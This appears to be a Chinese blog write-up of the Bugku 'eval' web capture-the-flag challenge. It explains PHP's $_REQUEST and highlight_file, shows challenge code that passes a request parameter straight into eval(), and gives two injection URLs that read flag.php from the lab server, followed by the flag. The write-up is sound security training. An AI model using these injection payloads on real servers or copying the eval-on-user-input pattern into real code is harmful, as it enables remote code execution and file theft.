【愚公系列】2023年06月 Bugku-Web(eval)


前言

1.$_REQUEST

在PHP中,$_REQUEST是一个关联数组,包含了HTTP请求参数(GET、POST和COOKIE)中的所有变量。虽然它为开发人员提供了方便,但如果不正确使用,也会引起安全问题,例如以下一些漏洞:

  1. 参数污染:攻击者可以通过提交带有相同名称但不同值的GET和POST请求,来覆盖$_REQUEST数组中的某些变量。这个漏洞称为参数污染,可以导致应用程序出现意外行为或安全性问题。

  2. 跨站脚本攻击:如果应用程序没有正确过滤用户提交的数据,那么攻击者可以提交恶意脚本,以窃取用户的数据或伪造用户的行为。攻击者可以使用$_REQUEST来传递恶意数据。

  3. SQL注入:如果应用程序没有对用户输入进行充分的验证和过滤,攻击者可能会提交恶意SQL代码,并通过$_REQUEST将其传递给数据查询语句。这可能会导致数据库中的数据泄露、数据损坏或应用程序崩溃。

  4. 文件包含攻击:攻击者可以通过提交恶意文件名和路径来利用应用程序中的文件包含漏洞。这种攻击可能会导致服务器文件泄露、敏感信息泄露或服务器被入侵。

$_REQUEST 函数是一个用于访问 GETPOSTCOOKIE 三个数组的超全局变量。它可以用于从客户端收集用户提交的数据。

,$_REQUEST 函数的使用与 $_GET$_POST$_COOKIE 相似。它接收一个字符串参数,指定所需的变量,然后返回该变量的值。与 $_GET$_POST 不同的是,$_REQUEST 可以访问 GETPOSTCOOKIE 三个数组中的数据。

以下是一个使用 $_REQUEST 函数的示例:

<html>
<body>

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Name: <input type="text" name="name">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    
    
    // collect value of input field
    $name = $_REQUEST['name'];
    if (empty($name)) {
    
    
        echo "Name is empty";
    } else {
    
    
        echo $name;
    }
}
?>

</body>
</html>

上面的代码中,当用户提交表单时,会使用 $_REQUEST 函数获取输入字段的值。如果输入字段为空,则输出 “Name is empty”,否则输出输入字段的值。

需要注意的是,$_REQUEST 函数是不安全的,因为它无法确定用户的输入值是来自于哪个数组。因此,为了确保安全性,建议仅使用 $_GET$_POST$_COOKIE 函数。

2.highlight_file

highlight_file函数用于将PHP文件的语法高亮显示输出。它将使用不同颜色和字体样式来显示PHP代码的各个部分,使其更易于阅读和理解。

函数语法:highlight_file($filename, $return = false);

其中,参数$filename是要高亮显示的PHP文件的路径,参数$return用于控制函数的输出方式,默认值为false

如果$return参数设置为false,则highlight_file函数将直接输出高亮显示后的PHP代码到浏览器,并返回true;如果$return参数设置为true,则highlight_file函数将返回高亮显示后的PHP代码字符串,而不会直接输出到浏览器。

示例代码:

<?php
// 将 PHP 文件高亮显示
highlight_file('test.php');
?>

此代码将读取名为test.php的文件,将其语法高亮显示并输出到浏览器。

一、eval

1.题目

在这里插入图片描述

2.答题

打开题目审计源码

在这里插入图片描述

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

进行全局变量查看

http://114.67.175.224:11286/?hello=$GLOBALS

在这里插入图片描述
说明flag不是变量,应该就在flag.php里头被注释了

解法一:构造闭合

http://114.67.175.224:11286/?hello=);highlight_file('flag.php');var_dump(

在这里插入图片描述

解法二:使用文件读取函数

http://114.67.175.224:11286/?hello=file(%27flag.php%27)

在这里插入图片描述
得到flag:flag{34ad156d7d51f9372d7a08f120fad059}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131426831